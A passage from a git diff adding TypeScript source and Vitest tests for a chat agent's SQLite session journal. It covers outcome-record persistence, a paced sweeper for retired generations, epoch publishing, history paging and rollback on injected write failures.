applyJournalRow(draft, row, row.ts)).tracked() + +it("folds a streamed revision and an acceptance through the draft with only main's scans growing at N and 10N", () => { + const measure = (size: number) => { + const database = databaseFor(`draft-${size}`) + const state = seedOutcomeRows(database, historyOf(size, true)) + const next = state.lastSequence + 1 + const live = { + items: state.items.size, + submissions: state.submissions.size, + cards: state.queue.cards.size, + returned: [...state.queue.cards.values()].filter((card) => card.state === 'returned').length, + streamed: trackedNodes( + state, + revision('answer', message('y'.repeat(4_096), 'assistant'), 2)(next, 10_000) + ), + accepted: trackedNodes(state, revision(providerItemId, message('send'), 1)(next, 10_000)) + } + return live + } + const small = measure(N) + const large = measure(10 * N) + const grown = (key: keyof typeof small) => large[key] - small[key] + // Main's reducer scans these on the same rows; the draft adds one node per value it reaches. + // A streamed revision's only growing term is the queue card scan: each card, and each returned + // card's body. + const cardScan = grown('cards') + grown('returned') + expect(cardScan).toBeGreaterThan(0) + expect(grown('streamed')).toBe(cardScan) + // An echo also reads every item with its body (context-clear and echo lookups) and every + // submission to find its send. + expect(grown('accepted')).toBe(2 * grown('items') + grown('submissions') + cardScan) +}) diff --git a/src/main/native-chat/agent-session-journal/journal-outcome-sweeper.test.ts b/src/main/native-chat/agent-session-journal/journal-outcome-sweeper.test.ts new file mode 100644 index 00000000000..0acb87d871c --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-outcome-sweeper.test.ts @@ -0,0 +1,131 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, expect, it, vi } from 'vitest' +import { + closeTestJournalHostDatabases, + openTestJournalHostDatabase, + publishTestJournalEpoch +} from './journal-host-database-test-support' +import type { JournalHostDatabase } from './journal-host-database' +import type { JournalRow } from './journal-row-schema' +import { restoreJournal } from './journal-open' +import { publishJournalOutcomeEpoch } from './journal-outcome-write' +import { JournalOutcomeSweeper } from './journal-outcome-cleanup' + +// The production sweeper over a real database, on its own timers. +const epoch = 'epoch-1' +const base = (seq: number) => ({ v: 4, epoch, seq, ts: 1_000 + seq, fence: 1 }) +const epochRow: JournalRow = { + ...base(1), + kind: 'epoch', + reason: 'session_created', + providerHandle: { kind: 'codex', threadId: 'thread-1' } +} +const item: JournalRow = { + ...base(2), + kind: 'item', + itemId: 'kept', + revision: 1, + body: { kind: 'status', text: 'kept' } +} + +let root: string +let database: JournalHostDatabase +const sweepers: JournalOutcomeSweeper[] = [] +beforeEach(async () => { + vi.useFakeTimers() + root = await mkdtemp(join(tmpdir(), 'orca-journal-outcome-sweeper-')) + database = openTestJournalHostDatabase(root) + database.transaction((db) => { + publishTestJournalEpoch(db, 'live', epoch) + publishJournalOutcomeEpoch(db, 'live', epoch, [epochRow, item]) + }) +}) +afterEach(async () => { + sweepers.splice(0).forEach((sweeper) => sweeper.stop()) + vi.useRealTimers() + vi.restoreAllMocks() + await closeTestJournalHostDatabases() + await rm(root, { recursive: true, force: true }) +}) + +function started(onError = vi.fn()) { + const rests = vi.fn(async () => {}) + const sweeper = new JournalOutcomeSweeper({ database: () => database, delay: rests, onError }) + sweepers.push(sweeper.start()) + return { rests, onError } +} + +/** A generation no epoch names any more, as a replacement leaves it, holding `keys` records. */ +function retire(keys: number): void { + database.transaction((db) => { + const retired = Number( + db + .prepare('INSERT INTO journal_outcome_generations (session_id, epoch) VALUES (?, ?)') + .run('gone', 'gone-epoch').lastInsertRowid + ) + const insert = db.prepare(`INSERT INTO journal_outcomes + (generation, seq, field, entry_key, format, ordinal, value_json, deleted) + VALUES (?, 1, 'aliases', ?, 1, 's0000000000000001:0000000000000000', ?, 0)`) + for (let index = 0; index < keys; index++) { + insert.run(retired, JSON.stringify(`k${index}`), JSON.stringify([`k${index}`, 'v'])) + } + }) +} + +const retiredRecords = () => + database.db + .prepare(`SELECT COUNT(*) AS n FROM journal_outcomes + WHERE generation NOT IN (SELECT generation FROM journal_outcome_epochs)`) + .get()?.n + +it('sweeps a retired generation a minute after launch in paced pages, keeping the live chat', async () => { + retire(100) + const { rests } = started() + await vi.advanceTimersByTimeAsync(59_999) + expect(retiredRecords()).toBe(100) + await vi.advanceTimersByTimeAsync(1) + expect(retiredRecords()).toBe(0) + // Four 32-record pages and the generation row, each its own transaction with a rest after it. + expect(rests.mock.calls.length).toBeGreaterThanOrEqual(4) + expect( + database.db.prepare('SELECT COUNT(*) AS n FROM journal_outcome_generations').get()?.n + ).toBe(1) + expect(restoreJournal(database.db, 'live')?.state.items.has('kept')).toBe(true) +}) + +it('retries a failed pass at the next periodic pass, and runs none after it stops', async () => { + retire(10) + const failure = Object.assign(new Error('disk I/O error'), { code: 'ERR_SQLITE_ERROR' }) + vi.spyOn(database, 'transaction').mockImplementationOnce(() => { + throw failure + }) + const { onError } = started() + await vi.advanceTimersByTimeAsync(60_000) + expect(onError).toHaveBeenCalledWith(failure) + expect(retiredRecords()).toBe(10) + await vi.advanceTimersByTimeAsync(6 * 60 * 60_000) + expect(retiredRecords()).toBe(0) + retire(10) + sweepers.forEach((sweeper) => sweeper.stop()) + await vi.advanceTimersByTimeAsync(12 * 60 * 60_000) + expect(retiredRecords()).toBe(10) +}) + +it('rests nine times as long as each page worked, holding the sweep to a 10% duty cycle', async () => { + retire(100) + // Every page takes 30 ms on the sweeper's clock. + let clock = 0 + const rests = vi.fn(async (_ms: number) => {}) + const sweeper = new JournalOutcomeSweeper({ + database: () => database, + now: () => (clock += 30), + delay: rests + }) + sweepers.push(sweeper) + await sweeper.pass() + expect(retiredRecords()).toBe(0) + // Four record pages, each followed by its rest; the last page finds nothing more to do. + expect(rests.mock.calls).toEqual([[270], [270], [270], [270]]) +}) diff --git a/src/main/native-chat/agent-session-journal/journal-outcome-table.ts b/src/main/native-chat/agent-session-journal/journal-outcome-table.ts new file mode 100644 index 00000000000..fb5c563037b --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-outcome-table.ts @@ -0,0 +1,99 @@ +import type Database from '../../sqlite/sync-database' +import type { JournalReducerState } from './journal-reducer' +import { applyJournalRow } from './journal-reducer' +import { isolateJournalTransition } from './journal-reducer-transition' +import type { JournalRow } from './journal-row-schema' +import { journalRowReadBack } from './journal-row-table' +import { + encodeJournalOutcomes, + journalOutcomeScalars, + JournalOutcomeFold, + JOURNAL_PREFIX_ORDINAL +} from './journal-outcome-codec' +import type { JournalOutcomeSource } from './journal-outcome-format' + +// The key index orders each key's records newest first, so a range seek past the last key read lands +// on the next key's newest record: one indexed seek per key, whatever its revisions number. +export const JOURNAL_NEWEST_OUTCOME_SQL = `SELECT seq, field, entry_key, format, ordinal, value_json, + deleted FROM journal_outcomes WHERE generation = ? AND (field, entry_key) > (?, ?) AND seq <= ? + ORDER BY field, entry_key, seq DESC LIMIT 1` + +/** Folds each key's newest record, deletions included, over `baseline`, the chat's folded input + * prefix when it has one. Superseded revisions are never read: they no longer shape the chat. */ +export function readJournalOutcomes( + db: Database.Database, + sessionId: string, + epoch: string, + source: JournalOutcomeSource, + baseline?: JournalReducerState +): JournalReducerState { + const newest = db.prepare(JOURNAL_NEWEST_OUTCOME_SQL) + const fold = new JournalOutcomeFold() + let after = { field: '', key: '' } + for (;;) { + const row = newest.get(source.generation, after.field, after.key, source.through) + if (!row) { + return fold.finish(sessionId, epoch, source.through, baseline) + } + const value = fold.add(row) + after = { field: value.field, key: value.key } + } +} + +/** Runs inside the receipt transaction and only inserts: no record is ever updated or rewritten. A + * row the reader would reject is refused, as an input insert refuses it; the caller rolls back. */ +export function persistJournalOutcomeRows( + db: Database.Database, + state: JournalReducerState, + source: Pick, + rows: readonly JournalRow[], + savedAt?: number +): { state: JournalReducerState; adopt: () => JournalReducerState } { + let scalar = state.lastSequence === 0 ? {} : journalOutcomeScalars(state) + const transition = isolateJournalTransition(state, () => undefined) + const previous = db.prepare(`SELECT ordinal, deleted FROM journal_outcomes + WHERE generation = ? AND field = ? AND entry_key = ? ORDER BY seq DESC LIMIT 1`) + const insert = db.prepare(`INSERT INTO journal_outcomes + (generation, seq, field, entry_key, format, ordinal, value_json, deleted) + VALUES (?, ?, ?, ?, ?, ?, ?, ?)`) + for (const row of rows) { + // Folding what a reload reads keeps live state equal to it: an annotation the reader drops as + // unusable never reaches the model, so it is never refused by the strict record encoder. + const { stored } = journalRowReadBack(state.sessionId, row) + applyJournalRow(transition.state, stored, savedAt ?? row.ts) + const changes = transition.changes(true) + // Only this row's own transition is recorded, never a snapshot of a prefix value it left alone. + const encoded = encodeJournalOutcomes(transition.state, changes, scalar, transition.untracked) + scalar = encoded.scalars + for (const [index, value] of encoded.values.entries()) { + // Each change's record is at its own index; the scalar records after them match no change. + const change = changes.at(index) + const kept = previous.get(source.generation, value.field, value.key) + // A new or re-created key takes its place in the row's touch order, as the live map does; a + // key that existed before this row keeps its place, which for a key only the frozen prefix + // held is the prefix's own order. + const ordinal = change?.reinsert + ? appended(row.seq, index) + : kept?.deleted === 0 && typeof kept.ordinal === 'string' + ? kept.ordinal + : !kept && source.prefix > 0 && change + ? JOURNAL_PREFIX_ORDINAL + : appended(row.seq, index) + insert.run( + source.generation, + value.seq, + value.field, + value.key, + value.format, + ordinal, + value.json, + Number(value.deleted) + ) + } + } + return { state: transition.state, adopt: transition.adopt } +} + +function appended(seq: number, index: number): string { + return `s${String(seq).padStart(16, '0')}:${String(index).padStart(16, '0')}` +} diff --git a/src/main/native-chat/agent-session-journal/journal-outcome-wire.test.ts b/src/main/native-chat/agent-session-journal/journal-outcome-wire.test.ts new file mode 100644 index 00000000000..0584008e80e --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-outcome-wire.test.ts @@ -0,0 +1,126 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, expect, it } from 'vitest' +import { + createTrackedJournalOpener, + openTestJournalHostDatabase +} from './journal-host-database-test-support' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { readAgentSessionHistory } from '../agent-session-wire/agent-session-history-page' +import { projectJournalBatch } from '../agent-session-wire/agent-session-journal-batch' +import { readJournalOutcomeGroups } from './journal-read-row' +import { journalOutcomeSource } from './journal-outcome-format' +import { + projectionEpoch as epoch, + projectionEpochRow, + projectionSessionId as sessionId, + projectionBase as base, + seedOutcomeRows +} from './journal-projection-test-support' +import type { JournalRow } from './journal-row-schema' + +const journals = createTrackedJournalOpener() +let root: string +const identity = { + sessionId, + workspaceId: 'ws', + hostId: 'host', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') +} as const +const item = (id: string) => ({ provider: 'orca', clientMessageId: id }) as const +afterEach(async () => { + await journals.closeAll() + if (root) { + await rm(root, { recursive: true, force: true }) + } +}) + +it('keeps sparse sequence groups whole across catch-up, lookahead, history limits and byte shrinking', async () => { + root = await mkdtemp(join(tmpdir(), 'orca-journal-outcomes-wire-')) + const database = openTestJournalHostDatabase(root) + const rows: JournalRow[] = [projectionEpochRow] + for (let seq = 2; seq <= 30; seq++) { + rows.push({ + ...base(seq), + kind: 'item', + itemId: 'legacy', + revision: seq, + body: { kind: 'status', text: `revision ${seq}` } + }) + } + seedOutcomeRows(database, rows) + const journal = await journals.open({ identity, stateDirectory: root }) + const before = { epoch, sequence: 1 } + const old = journal.readSince(before) + if (!old.ok) { + throw new Error('dense read failed') + } + const expected = projectJournalBatch({ + rows: old.rows, + snapshot: journal.snapshot(), + afterSequence: 1 + }) + // Retention keeps a key's first and latest records, leaving whole sequences without any. + database.db.prepare('DELETE FROM journal_outcomes WHERE seq BETWEEN 3 AND 29').run() + const source = journalOutcomeSource(database.db, sessionId, epoch) + if (!source) { + throw new Error('missing outcome records') + } + const sparse = readJournalOutcomeGroups(database.db, epoch, source, 1) + expect(sparse.length).toBeLessThan(old.rows.length) + expect( + projectJournalBatch({ rows: sparse, snapshot: journal.snapshot(), afterSequence: 1 }) + ).toEqual(expected) + const cursor = journal.cursor() + await journal.appendLifecycleBatch({ + settlementId: 'whole-group', + fence: 1, + mutations: ['one', 'two'].map((id) => ({ + kind: 'item', + identity: item(id), + body: { kind: 'status', text: id }, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + })) + }) + await journal.appendItem( + item('later'), + { kind: 'status', text: 'later' }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + const first = readAgentSessionHistory(journal, { + sessionId, + direction: 'after', + cursor, + limit: 1 + }) + expect(first).toMatchObject({ + ok: true, + page: { + hasNewer: true, + items: [{ body: { text: 'one' } }, { body: { text: 'two' } }], + window: { nextCursor: { sequence: cursor.sequence + 1 } } + } + }) + if (!first.ok) { + throw new Error('first group missing') + } + const second = readAgentSessionHistory(journal, { + sessionId, + direction: 'after', + cursor: first.page.window.nextCursor, + limit: 1 + }) + expect(second).toMatchObject({ + ok: true, + page: { hasNewer: false, items: [{ body: { text: 'later' } }] } + }) + const bounded = readAgentSessionHistory( + journal, + { sessionId, direction: 'after', cursor, limit: 5 }, + { reader: { budgetBytes: 1, form: (value) => ({ item: value, bytes: 100 }) } } + ) + expect(bounded).toMatchObject({ ok: false, reset: 'cursor_compacted' }) +}) diff --git a/src/main/native-chat/agent-session-journal/journal-outcome-write.ts b/src/main/native-chat/agent-session-journal/journal-outcome-write.ts new file mode 100644 index 00000000000..79959c7d1b1 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-outcome-write.ts @@ -0,0 +1,46 @@ +import type Database from '../../sqlite/sync-database' +import { createJournalReducerState, type JournalReducerState } from './journal-reducer' +import type { JournalRow } from './journal-row-schema' +import { + advanceJournalOutcomeSource, + journalOutcomeSource, + startJournalOutcomeLog +} from './journal-outcome-format' +import { persistJournalOutcomeRows } from './journal-outcome-table' + +/** Every write stores outcome records, and nothing else: they are the saved chat. An input-only epoch + * keeps its rows as they are and starts its records here, after them. */ +export function prepareJournalOutcomeWrite( + db: Database.Database, + live: JournalReducerState, + rows: readonly JournalRow[], + savedAt: number +): { adopt: () => JournalReducerState } { + const source = + journalOutcomeSource(db, live.sessionId, live.epoch) ?? + startJournalOutcomeLog(db, live.sessionId, live.epoch, live.lastSequence, savedAt) + if (source.through !== live.lastSequence) { + throw new Error('journal outcome writer has stale coverage') + } + const transition = persistJournalOutcomeRows(db, live, source, rows, savedAt) + advanceJournalOutcomeSource(db, live.sessionId, live.epoch, transition.state.lastSequence) + return { adopt: transition.adopt } +} + +/** Epoch builders use the same transition encoder; the epoch's journal rows hold only its marker. */ +export function publishJournalOutcomeEpoch( + db: Database.Database, + sessionId: string, + epoch: string, + rows: readonly JournalRow[] +): { adopt: () => JournalReducerState } { + const first = rows[0] + if (!first || first.seq !== 1 || first.kind !== 'epoch') { + throw new Error('missing founding epoch') + } + const source = startJournalOutcomeLog(db, sessionId, epoch, 0, first.ts) + const initial = createJournalReducerState(sessionId, epoch) + const transition = persistJournalOutcomeRows(db, initial, source, rows) + advanceJournalOutcomeSource(db, sessionId, epoch, transition.state.lastSequence) + return { adopt: transition.adopt } +} diff --git a/src/main/native-chat/agent-session-journal/journal-projection-bootstrap.test.ts b/src/main/native-chat/agent-session-journal/journal-projection-bootstrap.test.ts new file mode 100644 index 00000000000..397f0ba2dec --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-projection-bootstrap.test.ts @@ -0,0 +1,173 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, expect, it, vi } from 'vitest' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { + closeTestJournalHostDatabases, + openTestJournalHostDatabase, + liveTestJournalRows +} from './journal-host-database-test-support' +import type { JournalHostDatabase } from './journal-host-database' +import { readJournalRowsAfterCursor, restoreJournal } from './journal-open' +import { parseJournalRow } from './journal-row-schema' +import type { JournalRow } from './journal-row-schema' +import { publishNewEpoch } from './journal-epoch-rollover' +import { + projectionBase as base, + projectionEpoch as epoch, + projectionEpochRow, + projectionSessionId as sessionId, + seedProjectionRows, + seedOutcomeRows, + projectionWriter, + expectProjectionMatches +} from './journal-projection-test-support' + +let root: string +let database: JournalHostDatabase +const rigs: ReturnType[] = [] +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-journal-outcome-prefix-')) + database = openTestJournalHostDatabase(root) + vi.spyOn(console, 'warn').mockImplementation(() => {}) +}) +afterEach(async () => { + for (const rig of rigs.splice(0)) { + rig.queue.markClosed() + await rig.queue.drain() + } + vi.restoreAllMocks() + await closeTestJournalHostDatabases() + await rm(root, { recursive: true, force: true }) +}) +const item = (seq: number, itemId = 'stream'): JournalRow => ({ + ...base(seq), + kind: 'item', + itemId, + revision: seq, + body: { kind: 'status', text: `revision ${seq}` } +}) + +const tombstone = (seq: number, itemId: string): JournalRow => ({ + ...base(seq), + kind: 'tombstone', + itemId, + revision: seq +}) + +it("keeps an existing chat's rows byte for byte, starts its records after one appended marker, and reopens prefix plus records as live", async () => { + // A prefix holding a, b, c, d; then b changes in place, a is deleted, c is deleted and recreated, + // and e is new: the live map reads b, d, c, e. + seedProjectionRows(database, [ + projectionEpochRow, + ...['a', 'b', 'c', 'd'].map((id, index) => item(index + 2, id)) + ]) + const original = liveTestJournalRows(database.db, sessionId) + const rig = projectionWriter(database, restoreJournal(database.db, sessionId)!.state) + rigs.push(rig) + await rig.writer.enqueue((seq, ts) => ({ ...item(seq, 'b'), ts })) + // The first record holds only the row's own transition, never a snapshot of the prefix. + expect( + database.db + .prepare(`SELECT field, entry_key, ordinal FROM journal_outcomes + WHERE field != '$'`) + .all() + ).toEqual([{ field: 'items', entry_key: '"b"', ordinal: 'b' }]) + for (const row of [ + (seq: number) => tombstone(seq, 'a'), + (seq: number) => tombstone(seq, 'c'), + (seq: number) => item(seq, 'c'), + (seq: number) => item(seq, 'e') + ]) { + await rig.writer.enqueue((seq, ts) => ({ ...row(seq), ts })) + } + + const rows = liveTestJournalRows(database.db, sessionId) + expect(rows.slice(0, original.length)).toEqual(original) + expect(rows).toHaveLength(original.length + 1) + // Shipped readers refuse the marker wherever it sits; it was never written over a row. + expect(rows.at(-1)?.seq).toBe(original.length + 1) + expect(parseJournalRow(rows.at(-1)!.rowJson)).toEqual({ ok: false, unreadable: true }) + expect([...rig.state().items.keys()]).toEqual(['b', 'd', 'c', 'e']) + expectProjectionMatches(database, rig.state()) + + // Catch-up pages the prefix rows, then the record groups, each sequence once. + const read = (after: number, limit?: number) => + readJournalRowsAfterCursor(database.db, sessionId, epoch, after, limit).map((row) => row.seq) + expect(read(0)).toEqual([1, 2, 3, 4, 5, 6, 7, 8, 9, 10]) + expect(read(3, 4)).toEqual([4, 5, 6, 7]) + expect(read(5, 2)).toEqual([6, 7]) + expect(read(7)).toEqual([8, 9, 10]) +}) + +it('keeps a record that updated a prefix key when a later prefix fold no longer yields that key', async () => { + seedProjectionRows(database, [projectionEpochRow, item(2, 'a'), item(3, 'b')]) + const rig = projectionWriter(database, restoreJournal(database.db, sessionId)!.state) + rigs.push(rig) + await rig.writer.enqueue((seq, ts) => ({ ...item(seq, 'b'), ts })) + await rig.writer.enqueue((seq, ts) => ({ ...item(seq, 'c'), ts })) + // A later reducer reads the old row for b as another item: the prefix no longer holds b. + database.db + .prepare('UPDATE journal_rows SET row_json = ? WHERE session_id = ? AND seq = 3') + .run(JSON.stringify({ ...item(3, 'renamed'), revision: 3 }), sessionId) + const restored = restoreJournal(database.db, sessionId) + expect(restored).toMatchObject({ newer: null, damage: null }) + // b keeps its newest value, appended after the prefix and before the tail's own keys. + expect([...restored!.state.items.keys()]).toEqual(['a', 'renamed', 'b', 'c']) + expect(restored!.state.items.get('b')).toEqual(rig.state().items.get('b')) +}) + +it('fences opens and every writer before mutation, while the old parser refuses the founding row', async () => { + const state = seedOutcomeRows(database, [projectionEpochRow, item(2)]) + const anchor = liveTestJournalRows(database.db, sessionId)[0] + expect(anchor && parseJournalRow(anchor.rowJson)).toEqual({ ok: false, unreadable: true }) + const rig = projectionWriter(database, state) + rigs.push(rig) + database.db.prepare('UPDATE journal_outcome_epochs SET format = 99').run() + expect(restoreJournal(database.db, sessionId)).toMatchObject({ + newer: { sequence: 1 }, + damage: null + }) + const before = database.db + .prepare('SELECT * FROM journal_outcomes ORDER BY seq, field, entry_key') + .all() + await expect(rig.writer.enqueue((seq) => item(seq))).rejects.toMatchObject({ + code: 'journal_read_only' + }) + expect( + database.db.prepare('SELECT * FROM journal_outcomes ORDER BY seq, field, entry_key').all() + ).toEqual(before) + expect(rig.state()).toBe(state) + // Missing remains distinct from unsupported for ACP's resume and loss-warning decisions. + expect(restoreJournal(database.db, 'missing-session')).toBeNull() +}) + +// The check runs inside the publishing transaction, against the epoch the caller last saw. +it('refuses to publish a new epoch over one the caller did not see, writing nothing', () => { + seedOutcomeRows(database, [projectionEpochRow, item(2)]) + const before = database.db.prepare('SELECT * FROM journal_rows ORDER BY seq').all() + const committed = vi.fn() + expect(() => + publishNewEpoch({ + database, + identity: { + sessionId, + workspaceId: 'ws', + hostId: 'host', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + }, + epoch: 'replacement', + reason: 'handle_forked', + fence: 2, + now: 20_000, + expectedEpoch: 'an-epoch-replaced-meanwhile', + queue: { cards: [], receipt: { write: () => {}, committed } }, + onPublished: committed + }) + ).toThrow(expect.objectContaining({ code: 'journal_row_rejected' })) + expect(committed).not.toHaveBeenCalled() + expect(database.db.prepare('SELECT * FROM journal_rows ORDER BY seq').all()).toEqual(before) + expect(restoreJournal(database.db, sessionId)?.state.epoch).toBe(epoch) +}) diff --git a/src/main/native-chat/agent-session-journal/journal-projection-failure.test.ts b/src/main/native-chat/agent-session-journal/journal-projection-failure.test.ts new file mode 100644 index 00000000000..f1d7d36c930 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-projection-failure.test.ts @@ -0,0 +1,158 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, expect, it, vi } from 'vitest' +import { agentSessionSendBodyFingerprint } from '../../../shared/structured-agent-session-send-mutation' +import type { AgentJournalMessageItem } from '../../../shared/agent-session-journal-types' +import { + closeTestJournalHostDatabases, + openTestJournalHostDatabase +} from './journal-host-database-test-support' +import { encodeJournalState } from './journal-state-codec' +import { JournalStopMarks } from './journal-stop-marks' +import type { JournalHostDatabase } from './journal-host-database' +import type { JournalRow } from './journal-row-schema' +import { + projectionBase as base, + projectionEpoch as epoch, + projectionEpochRow, + projectionSessionId as sessionId, + projectionWriter, + seedOutcomeRows, + expectProjectionMatches +} from './journal-projection-test-support' + +let root: string +let database: JournalHostDatabase +let rig: ReturnType | undefined +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-journal-outcomes-failure-')) + database = openTestJournalHostDatabase(root) + vi.spyOn(console, 'warn').mockImplementation(() => {}) +}) +afterEach(async () => { + rig?.queue.markClosed() + await rig?.queue.drain() + vi.restoreAllMocks() + await closeTestJournalHostDatabases() + await rm(root, { recursive: true, force: true }) +}) + +// The records, the epoch's coverage and the receipt are one write: any failure among them, or at +// COMMIT, refuses the send as main's row insert does, and the live chat adopts nothing. +it('adopts nothing on an outcome, coverage, receipt, outer-abort or COMMIT failure', async () => { + const user: AgentJournalMessageItem = { + kind: 'message', + role: 'user', + blocks: [{ type: 'text', text: 'Continue' }] + } + const state = seedOutcomeRows(database, [ + projectionEpochRow, + { + ...base(2), + kind: 'tombstone', + itemId: 'stop', + revision: 1, + stopEvent: { reason: 'user-stop', at: 1_002 } + } + ]) + rig = projectionWriter(database, state) + const writer = rig.writer + const stops = new JournalStopMarks({ state: rig.state }) + const settle = stops.beginSettle(true) + const send = + (id: string) => + (seq: number, ts: number): JournalRow => ({ + ...base(seq), + ts, + kind: 'submission', + clientMessageId: id, + body: user, + providerHandle: { kind: 'codex', threadId: 'thread-1' }, + payloadFingerprint: agentSessionSendBodyFingerprint(sessionId, user) + }) + database.db.exec('CREATE TABLE test_receipts (seq INTEGER)') + const receipt = { + write: (db: JournalHostDatabase['db'], row?: JournalRow) => { + db.prepare('INSERT INTO test_receipts VALUES (?)').run(row?.seq ?? 0) + }, + committed: vi.fn() + } + await expect(writer.enqueue(send('preserved'), receipt)).resolves.toMatchObject({ seq: 3 }) + expect(receipt.committed).toHaveBeenCalledOnce() + expect(rig.state().submissions.has('preserved')).toBe(true) + expect(stops.latest()?.settle).toBe(settle) + expectProjectionMatches(database, rig.state()) + const saved = encodeJournalState(rig.state()) + const live = rig.state() + const scenarios = [ + [ + 'outcome', + `CREATE TRIGGER failure BEFORE INSERT ON journal_outcomes BEGIN SELECT RAISE(ABORT, 'failure'); END` + ], + [ + 'coverage', + `CREATE TRIGGER failure BEFORE UPDATE ON journal_outcome_epochs BEGIN SELECT RAISE(ABORT, 'failure'); END` + ], + [ + 'receipt', + `CREATE TRIGGER failure BEFORE INSERT ON test_receipts BEGIN SELECT RAISE(ABORT, 'failure'); END` + ], + [ + 'outer', + `CREATE TRIGGER failure BEFORE INSERT ON test_receipts BEGIN SELECT RAISE(ROLLBACK, 'failure'); END` + ] + ] as const + for (const [name, sql] of scenarios) { + database.db.exec(sql) + await expect(writer.enqueue(send(name), receipt)).rejects.toThrow('failure') + database.db.exec('DROP TRIGGER failure') + expect(rig.state()).toBe(live) + expect(encodeJournalState(live)).toEqual(saved) + expect(receipt.committed).toHaveBeenCalledOnce() + expect(stops.latest()?.settle).toBe(settle) + expectProjectionMatches(database, live) + } + const exec = database.db.exec.bind(database.db) + const spy = vi.spyOn(database.db, 'exec').mockImplementation((sql) => { + if (sql === 'COMMIT') { + throw new Error('injected boundary failure') + } + exec(sql) + }) + await expect(writer.enqueue(send('commit'), receipt)).rejects.toThrow('injected boundary failure') + spy.mockRestore() + expect(rig.state()).toBe(live) + expect(encodeJournalState(live)).toEqual(saved) + expect(stops.latest()?.settle).toBe(settle) + expect(receipt.committed).toHaveBeenCalledOnce() + expect(database.db.prepare('SELECT COUNT(*) AS n FROM test_receipts').get()?.n).toBe(1) + expectProjectionMatches(database, live) + const first = rig.state().lastSequence + 1 + await writer.enqueueRows(() => [ + (seq, ts) => ({ + ...base(seq), + ts, + kind: 'queue', + messageId: 'frozen', + change: { op: 'queued', body: user, position: 1, queuedAt: { epoch, sequence: seq } } + }), + (seq, ts) => ({ + ...base(seq), + ts, + kind: 'queue', + messageId: 'frozen', + change: { op: 'held', holdReason: 'edited' } + }) + ]) + const contributions = database.db + .prepare(`SELECT seq, value_json FROM journal_outcomes + WHERE field = 'queue.cards' AND seq >= ? ORDER BY seq`) + .all(first) + expect( + contributions.map((entry) => + typeof entry.value_json === 'string' ? JSON.parse(entry.value_json)[1].holdReason : undefined + ) + ).toEqual([null, 'edited']) + expectProjectionMatches(database, rig.state()) +}) diff --git a/src/main/native-chat/agent-session-journal/journal-projection-streams.test.ts b/src/main/native-chat/agent-session-journal/journal-projection-streams.test.ts new file mode 100644 index 00000000000..a3440360615 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-projection-streams.test.ts @@ -0,0 +1,250 @@ +import { readFileSync } from 'node:fs' +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, expect, it, vi } from 'vitest' +import { z } from 'zod' +import { + AGENT_JOURNAL_THREAD_SCOPE, + type AgentSessionJournalIdentity +} from '../../../shared/agent-session-journal-types' +import { + codexProviderHandle, + claudeProviderHandle +} from '../../../shared/agent-session-provider-handle-encoding' +import { createClaudeJournalTranslator } from '../../claude/claude-structured-journal-translation' +import { createCodexJournalTranslator } from '../../codex/codex-structured-journal-translation' +import { createDeferredStructuredAgentSessionEventSink } from '../agent-session-wire/structured-agent-session-event-sink' +import { + createTrackedJournalOpener, + openTestJournalHostDatabase +} from './journal-host-database-test-support' +import { restoreJournal } from './journal-open' +import { applyJournalRow, renderJournalState } from './journal-reducer' +import { + expectProjectionMatches, + projectionBase, + projectionEpochRow, + projectionWriter, + seedOutcomeRows, + seedProjectionRows +} from './journal-projection-test-support' +import type { JournalHostDatabase } from './journal-host-database' +import type { JournalRow } from './journal-row-schema' + +const sessionId = 'session-1' +let root: string +let database: JournalHostDatabase +const journals = createTrackedJournalOpener() +const disposals: (() => void)[] = [] +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-journal-projection-streams-')) + database = openTestJournalHostDatabase(root) +}) +afterEach(async () => { + for (const dispose of disposals.splice(0)) { + dispose() + } + await journals.closeAll() + await rm(root, { recursive: true, force: true }) +}) + +const claudeCapture = z.object({ + kind: z.string(), + at: z.number(), + frame: z.record(z.string(), z.unknown()).optional() +}) +const codexCapture = z.object({ + case: z.string(), + t: z.number(), + method: z.string(), + params: z.record(z.string(), z.unknown()) +}) +function lines(path: URL): unknown[] { + return readFileSync(path, 'utf8') + .trim() + .split('\n') + .map((line) => JSON.parse(line)) +} + +it.each(['claude', 'codex'] as const)( + 'projects every commit of a captured %s stream, revisions and Stop settlement', + async (agent) => { + let at = 1_000 + const identity: AgentSessionJournalIdentity = { + sessionId, + workspaceId: 'workspace', + hostId: 'host', + agent, + providerHandle: + agent === 'codex' ? codexProviderHandle('thread-1') : claudeProviderHandle('claude-1', null) + } + const journal = await journals.open({ identity, stateDirectory: root, now: () => at }) + const expected = restoreJournal(database.db, sessionId)!.state + let commits = 0 + let planRevisions = 0 + journal.observeCommits((rows) => { + if (!rows?.length) { + return + } + for (const row of rows) { + applyJournalRow(expected, row, at) + } + commits++ + planRevisions += rows.filter( + (row) => + row.kind === 'item' && + row.body.kind === 'status' && + row.body.providerFrame?.kind === 